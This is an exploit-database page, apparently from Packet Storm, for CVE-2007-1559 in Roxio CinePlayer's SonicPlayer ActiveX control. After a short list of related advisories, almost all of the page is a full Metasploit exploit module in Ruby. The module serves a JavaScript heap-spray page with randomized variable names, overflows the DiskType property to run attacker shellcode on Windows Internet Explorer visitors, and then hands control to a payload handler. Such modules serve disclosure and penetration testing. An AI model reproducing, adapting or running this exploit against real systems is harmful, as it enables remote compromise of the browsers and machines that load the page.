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Roxio CinePlayer ActiveX Control Buffer Overflow

🗓️ 26 Nov 2009 00:00:00Reported by TrancerType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

Roxio CinePlayer ActiveX Control Buffer Overflow in SonicPlayer.dll 3.0.0.1

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2007-1559
30 Apr 201000:00
circl
CVE
CVE-2007-1559
11 Apr 200722:00
cve
Cvelist
CVE-2007-1559
11 Apr 200722:00
cvelist
Exploit DB
Roxio CinePlayer - ActiveX Control Buffer Overflow (Metasploit)
30 Apr 201000:00
exploitdb
Metasploit
Roxio CinePlayer ActiveX Control Buffer Overflow
24 May 200915:06
metasploit
NVD
CVE-2007-1559
11 Apr 200722:19
nvd
Prion
Stack overflow
11 Apr 200722:19
prion
Prion
Heap overflow
6 May 201012:47
prion
securityvulns
Roxio CinePlayer ActiveX buffer overflow
19 Apr 200700:00
securityvulns
`require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Roxio CinePlayer ActiveX Control Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in SonicPlayer ActiveX   
control (SonicMediaPlayer.dll) 3.0.0.1 installed by Roxio CinePlayer 3.2.  
By setting an overly long value to 'DiskType', an attacker can overrun   
a buffer and execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'Trancer <mtrancer[at]gmail.com>' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2007-1559' ],  
[ 'OSVDB', '34779' ],  
[ 'BID', '23412' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00\x09\x0a\x0d'\\",   
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 200, 'Ret' => 0x0C0C0C0C } ]   
],  
'DisclosureDate' => 'Apr 11 2007',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Encode the shellcode  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Setup exploit buffers  
nops = Rex::Text.to_unescape([target.ret].pack('V'))  
ret = Rex::Text.uri_encode([target.ret].pack('L'))  
blocksize = 0x40000  
fillto = 500   
offset = target['Offset']  
  
# Randomize the javascript variable names  
sonic = rand_text_alpha(rand(100) + 1)  
j_shellcode = rand_text_alpha(rand(100) + 1)  
j_nops = rand_text_alpha(rand(100) + 1)  
j_headersize = rand_text_alpha(rand(100) + 1)  
j_slackspace = rand_text_alpha(rand(100) + 1)  
j_fillblock = rand_text_alpha(rand(100) + 1)  
j_block = rand_text_alpha(rand(100) + 1)  
j_memory = rand_text_alpha(rand(100) + 1)  
j_counter = rand_text_alpha(rand(30) + 2)  
j_ret = rand_text_alpha(rand(100) + 1)  
  
# Build out the message  
content = %Q|  
<html>  
<object classid='clsid:9F1363DA-0220-462E-B923-9E3C9038896F' id='#{sonic}'></object>  
<script language='javascript'>  
#{j_shellcode}=unescape('#{shellcode}');  
#{j_nops}=unescape('#{nops}');  
#{j_headersize}=20;  
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;  
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};  
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});  
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});  
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};  
#{j_memory}=new Array();  
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};  
#{j_ret}='';  
for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');  
#{sonic}.DiskType(#{j_ret});  
</script>  
</html>  
|  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`

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